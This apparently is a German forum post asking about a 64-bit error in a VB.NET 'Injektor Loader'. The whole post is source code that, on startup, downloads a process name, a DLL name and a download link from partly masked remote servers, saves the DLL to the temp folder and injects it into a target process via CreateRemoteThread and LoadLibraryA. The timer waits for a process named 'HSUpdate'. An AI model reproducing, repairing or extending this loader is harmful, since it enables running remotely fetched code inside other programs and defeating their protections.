Injektor Loader 64bit fehler

Imports System.Net
Imports System.Environment

Public Class injektor1

    Friend WithEvents MyWebClient As New Net.WebClient


    'Private Sub MyWebClient_DownloadProgressChanged(ByVal sender As Object, ByVal e As System.Net.DownloadProgressChangedEventArgs) Handles MyWebClient.DownloadProgressChanged
    '    Form2.ProgressBar1.Value = e.ProgressPercentage
    'End Sub


    Private TargetProcessHandle As Integer
    Private pfnStartAddr As Integer
    Private pszLibFileRemote As String
    Private TargetBufferSize As Integer

    Public Const PROCESS_VM_READ = &H10
    Public Const TH32CS_SNAPPROCESS = &H2
    Public Const MEM_COMMIT = 4096
    Public Const PAGE_READWRITE = 4
    Public Const PROCESS_CREATE_THREAD = (&H2)
    Public Const PROCESS_VM_OPERATION = (&H8)
    Public Const PROCESS_VM_WRITE = (&H20)

    Public Declare Function ReadProcessMemory Lib "kernel32" ( _
    ByVal hProcess As Integer, _
    ByVal lpBaseAddress As Integer, _
    ByVal lpBuffer As String, _
    ByVal nSize As Integer, _
    ByRef lpNumberOfBytesWritten As Integer) As Integer

    Public Declare Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" ( _
    ByVal lpLibFileName As String) As Integer

    Public Declare Function VirtualAllocEx Lib "kernel32" ( _
    ByVal hProcess As Integer, _
    ByVal lpAddress As Integer, _
    ByVal dwSize As Integer, _
    ByVal flAllocationType As Integer, _
    ByVal flProtect As Integer) As Integer

    Public Declare Function WriteProcessMemory Lib "kernel32" ( _
    ByVal hProcess As Integer, _
    ByVal lpBaseAddress As Integer, _
    ByVal lpBuffer As String, _
    ByVal nSize As Integer, _
    ByRef lpNumberOfBytesWritten As Integer) As Integer

    Public Declare Function GetProcAddress Lib "kernel32" ( _
    ByVal hModule As Integer, ByVal lpProcName As String) As Integer

    Private Declare Function GetModuleHandle Lib "Kernel32" Alias "GetModuleHandleA" ( _
    ByVal lpModuleName As String) As Integer

    Public Declare Function CreateRemoteThread Lib "kernel32" ( _
    ByVal hProcess As Integer, _
    ByVal lpThreadAttributes As Integer, _
    ByVal dwStackSize As Integer, _
    ByVal lpStartAddress As Integer, _
    ByVal lpParameter As Integer, _
    ByVal dwCreationFlags As Integer, _
    ByRef lpThreadId As Integer) As Integer

    Public Declare Function OpenProcess Lib "kernel32" ( _
    ByVal dwDesiredAccess As Integer, _
    ByVal bInheritHandle As Integer, _
    ByVal dwProcessId As Integer) As Integer

    Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" ( _
    ByVal lpClassName As String, _
    ByVal lpWindowName As String) As Integer

    Private Declare Function CloseHandle Lib "kernel32" Alias "CloseHandleA" ( _
    ByVal hObject As Integer) As Integer


    Dim ExeName As String = IO.Path.GetFileNameWithoutExtension(Application.ExecutablePath)

    Private Sub Inject()

        Timer1.Stop()
        Dim TargetProcess As Process() = Process.GetProcessesByName(TextBox2.Text)
        TargetProcessHandle = OpenProcess(PROCESS_CREATE_THREAD Or PROCESS_VM_OPERATION Or PROCESS_VM_WRITE, False, TargetProcess(0).Id)
        pszLibFileRemote = System.IO.Path.GetTempPath() & TextBox3.Text
        pfnStartAddr = GetProcAddress(GetModuleHandle("Kernel32"), "LoadLibraryA")
        TargetBufferSize = 1 + Len(pszLibFileRemote)
        Dim Rtn As Integer
        Dim LoadLibParamAdr As Integer
        LoadLibParamAdr = VirtualAllocEx(TargetProcessHandle, 0, TargetBufferSize, MEM_COMMIT, PAGE_READWRITE)
        Rtn = WriteProcessMemory(TargetProcessHandle, LoadLibParamAdr, pszLibFileRemote, TargetBufferSize, 0)
        CreateRemoteThread(TargetProcessHandle, 0, 0, pfnStartAddr, LoadLibParamAdr, 0, 0)

        If Form2.CheckBox1.Checked = True Then

            Form1.Close()
            Application.Exit()
        End If
        If Form2.CheckBox1.Checked = False Then

        End If

    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        If IO.File.Exists(System.IO.Path.GetTempPath() & TextBox3.Text) Then
            Dim TargetProcess As Process() = Process.GetProcessesByName("HSUpdate")


            If TargetProcess.Length = 0 Then
                Form2.Label22.Text = ("Waiting For" & " " & TextBox2.Text)
            Else
                Timer1.Stop()
                Form2.Label22.Text = "Inject succes now running"
                Call Inject()


            End If
        Else
            Form2.Label22.Text = "Error"
        End If
    End Sub

    Private Sub injektor1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load



        TextBox1.Text = New Net.WebClient().DownloadString("http://***1/client/link1.txt")
        TextBox2.Text = New Net.WebClient().DownloadString("http://****47.81/client/prozess1.txt")
        TextBox3.Text = New Net.WebClient().DownloadString("http://**7.81/client/dll1.txt")


        Dim dateiPfad As String = My.Computer.FileSystem.SpecialDirectories.Temp & "/" & TextBox3.Text
        Dim internetPfad As String = TextBox1.Text
        Dim client As New System.Net.WebClient
        client.DownloadFile(internetPfad, dateiPfad)




        Timer1.Start()
        Timer1.Interval = 50
    End Sub

End Class